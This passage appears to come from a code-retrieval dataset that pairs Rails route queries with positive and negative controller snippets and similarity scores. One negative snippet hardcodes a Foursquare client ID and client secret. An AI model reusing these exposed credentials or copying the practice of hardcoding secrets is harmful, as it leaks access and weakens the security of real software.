@sectors = Sector.all.order(\"created_at DESC\")\n render json: @sectors\n end", "def index\n @zones = Zone.all\n render json: @zones\n #@zones\n end", "def index\n @outgoings = Outgoing.all\n end", "def index\n @leaves = Leaf.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaves }\n end\n end", "def show\n json_response(@office)\n end", "def index\n @occupants = Occupant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occupants }\n end\n end", "def index\n @locations = Location.roots.order(:location_name) \n render :json => @locations #Using Location serializer by default\n end", "def index\n @estate_maps = EstateMap.all\n end", "def index\n @employees = current_owner.employees.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employees }\n end\n end", "def index\n puts \"user: #{@current_user.json_hash[:id]}\"\n hosted_dinners = []\n attended_dinners = []\n @hosted_dinners = @current_user.hosted_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n hosted_dinners << dinner.all_info\n end\n @attended_dinners = @current_user.attended_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n attended_dinners << dinner.all_info\n end\n render json: {\n hosting: hosted_dinners,\n attending: attended_dinners\n }\n end", "def index\n @potluck_items = @event.potluck_items\n\n respond_to do |format|\n format.html { render :layout => false }# index.html.erb\n format.json { render json: @event.get_potluck_items_for_guests.to_json }\n end\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end" ]
[ "0.7206014", "0.6473625", "0.62521267", "0.604241", "0.58839136", "0.5812773", "0.5803857", "0.5749467", "0.5746146", "0.57460946", "0.5731855", "0.5710762", "0.568336", "0.56589067", "0.56425095", "0.56366575", "0.5617454", "0.5603409", "0.55973506", "0.55856144", "0.5579769", "0.55653924", "0.5563479", "0.5550385", "0.55400735", "0.55321836", "0.55273426", "0.55156356", "0.55138737", "0.5511461", "0.55064064", "0.5505122", "0.55023015", "0.55008006", "0.54958105", "0.5489189", "0.54863614", "0.5485589", "0.5485534", "0.54808396", "0.5479542", "0.5476816", "0.5475215", "0.54692113", "0.54688376", "0.5468534", "0.54613173", "0.5454316", "0.5453704", "0.5453088", "0.54491585", "0.54489905", "0.544523", "0.54451716", "0.5438719", "0.5435309", "0.5435309", "0.5433681", "0.5431234", "0.54272336", "0.5424945", "0.54204816", "0.5413637", "0.54018915", "0.5400001", "0.539903", "0.539867", "0.539225", "0.53906393", "0.53901005", "0.53888184", "0.5386434", "0.53803754", "0.5377507", "0.5375522", "0.53714615", "0.5370737", "0.53684163", "0.53647894", "0.5364201", "0.5363612", "0.53617215", "0.5360219", "0.5359108", "0.5357733", "0.5357263", "0.53551865", "0.53497124", "0.5344347", "0.5339633", "0.53272164", "0.5326486", "0.5319859", "0.5318378", "0.5314867", "0.53137106", "0.53130466", "0.5310864", "0.5310634", "0.5310546" ]
0.7273749
0
GET /outsides/1 GET /outsides/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @outsides = Outside.all\n end", "def index\n @outside_requests = OutsideRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outside_requests }\n end\n end", "def show\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outside_request }\n end\n end", "def create\n @outside = Outside.new(outside_params)\n\n respond_to do |format|\n if @outside.save\n format.html { redirect_to @outside, notice: 'Outside was successfully created.' }\n format.json { render :show, status: :created, location: @outside }\n else\n format.html { render :new }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n ends = End.find_each\n render json: ends\n end", "def set_outside\n @outside = Outside.find(params[:id])\n end", "def update\n respond_to do |format|\n if @outside.update(outside_params)\n format.html { redirect_to @outside, notice: 'Outside was successfully updated.' }\n format.json { render :show, status: :ok, location: @outside }\n else\n format.html { render :edit }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @outside_request = OutsideRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outside_request }\n end\n end", "def index\n # render json: Epicenter.where('owner_id = ?', @epicenter.id)\n puts Epicenter.all.count\n render json: Epicenter.all\n end", "def destroy\n @outside.destroy\n respond_to do |format|\n format.html { redirect_to outsides_url, notice: 'Outside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n render json: @places\n end", "def index\n @offices = Office.all\n json_response(@offices)\n end", "def index\n @ozones = Ozone.all\n render json: @ozones\n end", "def show\n @outing = Outing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outing }\n end\n end", "def index\n @illnesses = Illness.all\n\n render json: @illnesses\n end", "def index\n @endorsements = Endorsement.all\n\n render json: @endorsements\n end", "def index\n @places = @site.places.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n end\n end", "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end", "def index\n @clock = @employee.clock_in_out\n render json: @clock\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def index\n @offices = Office.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @office_hours }\n end\n end", "def index\n @eobs = Eob.assigned\n @title = \"Posted EOBs\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def index\n @electors = Elector.all\n\n render json: @electors\n end", "def show\n out = Out.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => out, :layout => false\n }\n end\n end", "def index\n @occupants = Occupant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occupants }\n end\n end", "def index\n @loves = Love.all\n render json: @loves\n end", "def index\n @neighborhoods = Neighborhood.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end", "def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end", "def index\n @oceans = Ocean.all\n end", "def index_hosting\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.hosted_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end", "def index\n \t#Change to make a response flexible from a query method\n \tresponse = HTTP.auth(\"Bearer #{ENV['YELP_API_KEY']}\").get('https://api.yelp.com/v3/businesses/search?term=coffee&location=nyc')\n \t@yelps = response.parse['businesses']\n end", "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def index\n @sectors = Sector.all.order(\"created_at DESC\")\n render json: @sectors\n end", "def index\n @off_days = OffDay.all\n end", "def show\n json_response(@office)\n end", "def index\n @leaves = Leaf.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaves }\n end\n end", "def index\n data = get_index_data\n @dayoffs = data.page(params[:current_page]).per(PER_PAGE)\n respond_to do |format|\n format.html {\n render \"dashboards/admin_dashboard\"\n }\n\n format.json {\n render json: {\n total_page: @data.total_page,\n data: ActiveModel::SerializableResource.new(@dayoffs, each_serializer: AdminDayoffSerializer)\n }, status: :ok\n }\n end\n end", "def index\n @zones = Zone.all\n\n render json: @zones\n end", "def show\n @poi = Poi.find_by_slug(params[:id])\n if !@poi\n @poi = Poi.find(params[:id].to_i)\n end\n \n if params[:event]\n @event = Event.find params[:event]\n end\n \n @events = @poi.events.where('ends_at > ?', Time.now).order('starts_at asc')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poi }\n end\n end", "def index\n @stopovers = Stopover.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stopovers }\n end\n end", "def index\n @opponent = Opponent.all\n render json: @opponent\n end", "def show\n @outdoor = Outdoor.find(params[:id])\n @json = Outdoor.find(params[:id]).to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outdoor }\n end\n end", "def index\n rooms = Room.includes(:problems, :registrations, :users, :owner)\n if params[:name]\n render json: rooms.where(name: params[:name])\n else\n render json: rooms\n end\n end", "def index\n @locs = Loc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locs }\n end\n end", "def unassigned\n @eobs = Eob.unassigned\n puts @eob.inspect\n @title = \"Unassigned EOB's\"\n @subtitle = \"Link the EOB to an open claim\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def index\n @venues = Venue.all :conditions=>{:display=>true}, :origin=>[params[:lat].to_f, params[:lng].to_f], :within=>30\n\n respond_to do |format|\n #format.html # index.html.erb\n format.json { render :json => @venues.to_json(:except=>[:display, :user_id, :modified_user_id]), :callback=>params[:callback] }\n end\n end", "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end", "def index\n @employees = current_owner.employees.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employees }\n end\n end", "def index\n @infrastructures = getmydata(\"Infrastructure\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @infrastructures }\n end\n end", "def index\n @event_locations = EventLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_locations }\n end\n end", "def index\n @zones = Zone.all\n render json: @zones\n #@zones\n end", "def show\n @dayoff = Dayoff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dayoff }\n end\n end", "def index\n @pols = Pol.includes(:events).all\n respond_to do |format|\n format.json\n end\n end", "def index\n \tif\n params[:search].present?\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK', :api_version => '20140201')\n \n #results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n results = client.search_venues(:near => params[:location], :query => params[:search])\n\t\n @venues = results.venues\n\n @venues.each do |venue|\n Venue.where({\n name: venue.name,\n address: venue.location.address,\n venue_id: venue.id,\n city: venue.location.city,\n state: venue.location.state,\n lat: venue.location.lat,\n long: venue.location.lng,\n }).first_or_create\n end\n\n else\n\tclient = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n \n results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n @venues = results.venues\n\n\nend\n\n\n #else\n # @restrooms = Restroom.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restrooms }\n end\n end", "def index\n @edge_types = EdgeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @edge_types }\n end\n end", "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n @episodes = Episode.all\n\n render json: @episodes\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def index\n @estates = Estate.all\n @json = @estates.to_gmaps4rails\n respond_with(@estates)\n \n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def index\n @illnesses = Illness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illnesses }\n end\n end", "def outside_params\n params.fetch(:outside, {})\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def index\n locations = Location.all\n render json: locations\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index\n @rooms = Room.all\n respond_to do | format |\n format.html\n format.json\n end\n \n end", "def index\n @event = Event.all\n render json: @event\n end", "def show\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ongoing }\n end\n end", "def index\n @enemies = Enemy.find_by(name: params[:name])\n render json: @enemies\n end", "def index\n @ordens = Orden.all\n render json: @ordens\n end", "def index\n @employees = @client.employees\n @events = fetch_events\n end", "def index\n @heroes = Hero.all\n\n render json: @heroes\n end", "def index\n @places = Place.all\n\n respond_to do |format|\n format.html\n format.json { render json: @places }\n end\n end", "def index\n @offices = Office.where(\"user_id = ?\", current_user).order('created_at DESC').page(params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end", "def index\n weathers = Weather.all\n render json: weathers, status: 200\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def index\n\n @houses = House.page(params[:page]).per(House::PER_PAGE_COUNT)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end", "def index\n @weather_events = WeatherEvent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weather_events }\n end\n end", "def index\n @laws = Law.ordered_roots\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end", "def show\n @etsy = Etsy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etsy }\n end\n end", "def show\n @neighborhood = Neighborhood.find(params[:id])\n\n render json: @neighborhood\n end", "def list_endpoints\n render json: @endpoints, status: 200\n end", "def index\n if params[:event_id]\n @event = Event.find(params[:event_id])\n @rounds = Round.where(\"event_id = ?\", params[:event_id])\n else\n @rounds = Round.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rounds }\n end\n end", "def index\n @outgoings = Outgoing.all\n end", "def index\n if params[:stage_id]\n @outcrops = Outcrop.where(stage_id: params[:stage_id])\n .paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc)\n .all\n render json: @outcrops\n\n else\n @outcrops = Outcrop.\n paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc)\n .all\n render json: @outcrops\n end\n\n end", "def index\n @absents = Absent.joins(:level).joins(:classtype).order(\"created_at DESC\").limit(100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absents }\n end\n end", "def index\n @asides = Aside.all\n end", "def city_events(city)\n response = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?city=' + city + '&apikey=' + $ticket_master_api_key)\n jason_response = JSON.parse(response)\nend", "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end", "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end", "def index\n @assessment_olympiads = AssessmentOlympiad.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@assessment_olympiads }\n end\n end", "def index\n if current_user.district_id and !current_user.admin?\n district = District.find(current_user.district_id)\n @hes = district.hes\n else\n @hes = He.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hes }\n end\n end", "def index\n @hostel_rooms = HostelRoom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hostel_rooms }\n end\n end", "def index\n @department = Department.find(params[:department_id])\n @towns = @department.towns\n respond_to do |format|\n format.json { render json: @towns, status: :ok }\n end\n end" ]
[ "0.7178046", "0.7072017", "0.68050486", "0.6356096", "0.6105625", "0.6019694", "0.59967834", "0.59271353", "0.5925148", "0.5902146", "0.5819847", "0.579884", "0.5747183", "0.5710198", "0.5702882", "0.56906503", "0.56338906", "0.5618759", "0.5616345", "0.56067294", "0.56034875", "0.5597411", "0.55884624", "0.557028", "0.5569922", "0.5556786", "0.5555704", "0.5551954", "0.55506784", "0.5534649", "0.55298764", "0.5525562", "0.55163115", "0.5513092", "0.5510609", "0.5493435", "0.5489718", "0.5487825", "0.5483989", "0.5481341", "0.5480376", "0.547611", "0.54702765", "0.5466174", "0.5461237", "0.54586774", "0.5457042", "0.54531294", "0.545134", "0.5447904", "0.5445093", "0.54427916", "0.5438694", "0.5434649", "0.54295117", "0.54294", "0.542802", "0.5426763", "0.542609", "0.54180855", "0.54175895", "0.54111874", "0.5409166", "0.54037833", "0.5401698", "0.54012555", "0.54009426", "0.5394247", "0.5390706", "0.53883106", "0.53852886", "0.5385106", "0.5382289", "0.5379781", "0.53779495", "0.5371433", "0.5367505", "0.5364447", "0.53611845", "0.53586024", "0.53580725", "0.5357257", "0.53555775", "0.53506744", "0.535037", "0.53461343", "0.5334388", "0.53340656", "0.5325956", "0.5317776", "0.5315473", "0.5314255", "0.53090894", "0.53039193", "0.53031886", "0.5298111", "0.5298111", "0.5297031", "0.52969116", "0.52942705", "0.52922434" ]
0.0
-1
POST /outsides POST /outsides.json
def create @outside = Outside.new(outside_params) respond_to do |format| if @outside.save format.html { redirect_to @outside, notice: 'Outside was successfully created.' } format.json { render :show, status: :created, location: @outside } else format.html { render :new } format.json { render json: @outside.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @outside_request = OutsideRequest.new(params[:outside_request])\n\n respond_to do |format|\n if @outside_request.save\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully created.' }\n format.json { render json: @outside_request, status: :created, location: @outside_request }\n else\n format.html { render action: \\\"new\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @outsides = Outside.all\n end", "def index\n @outside_requests = OutsideRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outside_requests }\n end\n end", "def destroy\n @outside.destroy\n respond_to do |format|\n format.html { redirect_to outsides_url, notice: 'Outside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @outside.update(outside_params)\n format.html { redirect_to @outside, notice: 'Outside was successfully updated.' }\n format.json { render :show, status: :ok, location: @outside }\n else\n format.html { render :edit }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @outside_request = OutsideRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outside_request }\n end\n end", "def set_outside\n @outside = Outside.find(params[:id])\n end", "def outside_params\n params.fetch(:outside, {})\n end", "def create\n @outdoor = Outdoor.new(params[:outdoor])\n\n respond_to do |format|\n if @outdoor.save\n format.html { redirect_to @outdoor, notice: 'Outdoor was successfully created.' }\n format.json { render json: @outdoor, status: :created, location: @outdoor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @outdoor.errors, status: :unprocessable_entity }\n end\n end\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def create\n @inside = Inside.new(inside_params)\n #params.require(:inside).permit(:year, year_ids:[])\n respond_to do |format|\n if @inside.save\n format.html { redirect_to @inside, notice: 'Inside was successfully created.' }\n format.json { render :show, status: :created, location: @inside }\n else\n format.html { render :new }\n format.json { render json: @inside.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_inventories(name,description, organization=1,variables='')\n dprint \"/api/v1/hosts\"\n resp = @rest['/api/v1/hosts'].post({\n :name => name,\n :description => description,\n :organization => organization,\n :variables => variables\n })\n dprint resp\n\n #[XXX] Theoretical what this is at this point - need to see \n # actual response\n JSON.parse(resp)[\"results\"]\n end", "def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def create\n @off_day = OffDay.new(off_day_params)\n\n respond_to do |format|\n if @off_day.save\n format.html { redirect_to @off_day, notice: 'Off day was successfully created.' }\n format.json { render :show, status: :created, location: @off_day }\n else\n format.html { render :new }\n format.json { render json: @off_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_in_geofence(lat_coordinate, lng_coordinate) # coordinates are strings\n if !geofence_id.nil?\n require 'net/http'\n require 'json'\n begin\n uri = URI('https://api.fencer.io/v1.0/position/inside/' + Geofence.find(geofence_id).key)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n headers = {'Authorization' => '5195ba22-ab3c-52f6-bab9-d15ff7b8794e', 'Lat-Pos' => lat_coordinate.to_s, 'Lng-Pos' => lng_coordinate.to_s}\n req = Net::HTTP::Get.new(uri.path, headers)\n res = http.request(req)\n resp = res.body\n resp_in_js = JSON.parse(resp)\n answer = resp_in_js[\"data\"][\"inside\"]\n end\n else\n true\n end\n end", "def outing_params\n params.require(:outing).permit(:day, :location_id, :time)\n end", "def index\n @sides = Side.all\n #respond_to do |format|\n #end\n if request.xhr?\n @side = Side.new(side_params)\n puts \"\\n\\n\\n\\n\\n\\n\\n\\nthe body \\n\\n\\n\\n\\n\\n\"\n theSide = Side.where(:body => @side.body).first\n theSide.count += 1\n theSide.save\n puts \"\\n\\n\\n\\n\\n\\n\\nwe have a request!!!\\n\\n\\n\\n\\n\\n\"\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def postEntityOpening_times( entity_id, monday, tuesday, wednesday, thursday, friday, saturday, sunday, closed, closed_public_holidays)\n params = Hash.new\n params['entity_id'] = entity_id\n params['monday'] = monday\n params['tuesday'] = tuesday\n params['wednesday'] = wednesday\n params['thursday'] = thursday\n params['friday'] = friday\n params['saturday'] = saturday\n params['sunday'] = sunday\n params['closed'] = closed\n params['closed_public_holidays'] = closed_public_holidays\n return doCurl(\"post\",\"/entity/opening_times\",params)\n end", "def data_to_api(snack_name, snack_location, snack_optional)\n RestClient.post ENV['NERDERY_API'], { name: snack_name,\n location: snack_location,\n optional: snack_optional\n }.to_json, content_type: :json\n end", "def create\n @outdoor = Outdoor.new(params[:outdoor])\n\n respond_to do |format|\n if @outdoor.save\n format.html { redirect_to(@outdoor, :notice => 'Outdoor was successfully created.') }\n format.xml { render :xml => @outdoor, :status => :created, :location => @outdoor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outdoor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end", "def destroy\n @outside_request = OutsideRequest.find(params[:id])\n @outside_request.destroy\n\n respond_to do |format|\n format.html { redirect_to outside_requests_url }\n format.json { head :no_content }\n end\n end", "def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end", "def create\n @dayoff = Dayoff.new(params[:dayoff])\n\n respond_to do |format|\n if @dayoff.save\n format.html { redirect_to @dayoff, notice: 'Dayoff was successfully created.' }\n format.json { render json: @dayoff, status: :created, location: @dayoff }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dayoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def inside_params\n params.require(:inside).permit(:name, :deadline, :category, :link, :year, :description , :department, :location, :finaid, year_ids:[])\n end", "def post(url_variables:, body:)\n ensure_service_document\n\n end", "def create\n @outing = Outing.new(params[:outing])\n\n respond_to do |format|\n if @outing.save\n format.html { redirect_to @outing, notice: 'Outing was successfully created.' }\n format.json { render json: @outing, status: :created, location: @outing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @outing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offices = Office.create!(office_params)\n json_response(@offices, :created)\n end", "def upsert_marketo_lead(params)\n # todo: verify required fields? perhaps get form fields and validation logic from marketo?\n # removing params included by rails\n params.delete :action\n params.delete :controller\n params.delete :marketo_form\n # parse incoming values to json\n body = {\n #\"action\"=>\"createOnly\",\n \"lookupField\"=>\"email\",\n \"input\"=>[params]\n }.to_json\n @body = body\n # set post uri\n uri = URI(Config.get_create_lead_url)\n # setup http request\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n uri.query = \"access_token=#{get_marketo_token}\"\n request = Net::HTTP::Post.new(uri, { 'Content-Type' => 'application/json' })\n request.body = @body\n # make http request\n response = http.request(request)\n return response.body\n end", "def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def destroy\n @inside.destroy\n respond_to do |format|\n format.html { redirect_to insides_url, notice: 'Inside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create_post(params)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.post(new_post_endpoint, { 'router.params' => params, format: :json })\n end", "def test_construct_location_empty_form\n login('mary')\n post(:create_location,\n :where => '',\n :approved_where => '',\n :location => {\n :display_name => ''\n }\n )\n end", "def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end", "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end", "def show\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outside_request }\n end\n end", "def around\n params[:offset] ||= 1\n events = @event.around_events(params[:offset])\n render :json => events.to_json, :status => :ok\n end", "def create\n @sidequest = Sidequest.new(sidequest_params)\n\n respond_to do |format|\n if @sidequest.save\n format.html { redirect_to :back, notice: 'Sidequest was successfully created.' }\n format.json { render :back, status: :created, location: @sidequest }\n else\n format.html { render :new }\n format.json { render json: @sidequest.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create body = {}\n @connection.request(method: :post, path: \"/secrets/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def create\n @endorsement = Endorsement.new(endorsement_params)\n\n if @endorsement.save\n render json: @endorsement, status: :created, location: @endorsement\n else\n render json: @endorsement.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n @event.enters\n @event.leaves\n\n # highfive_counter = 0\n # if @event[\"event_type\"] == \"highfive\"\n # highfive_counter = highfive_counter + 1\n # return highfive_counter\n # else\n # 0\n # end\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @poststudysurvey = Poststudysurvey.new(poststudysurvey_params)\n\n respond_to do |format|\n if @poststudysurvey.save\n format.html { redirect_to @poststudysurvey, notice: 'Poststudysurvey was successfully created.' }\n format.json { render action: 'show', status: :created, location: @poststudysurvey }\n else\n format.html { render action: 'new' }\n format.json { render json: @poststudysurvey.errors, status: :unprocessable_entity }\n end\n end\n end", "def off_day_params\n params.require(:off_day).permit(:off_day_title, :off_day_date, :is_annual, :notes)\n end", "def write_travels_to_calendar\n @event.write_travels_to_calendar\n render :json => @event.to_json, :status => 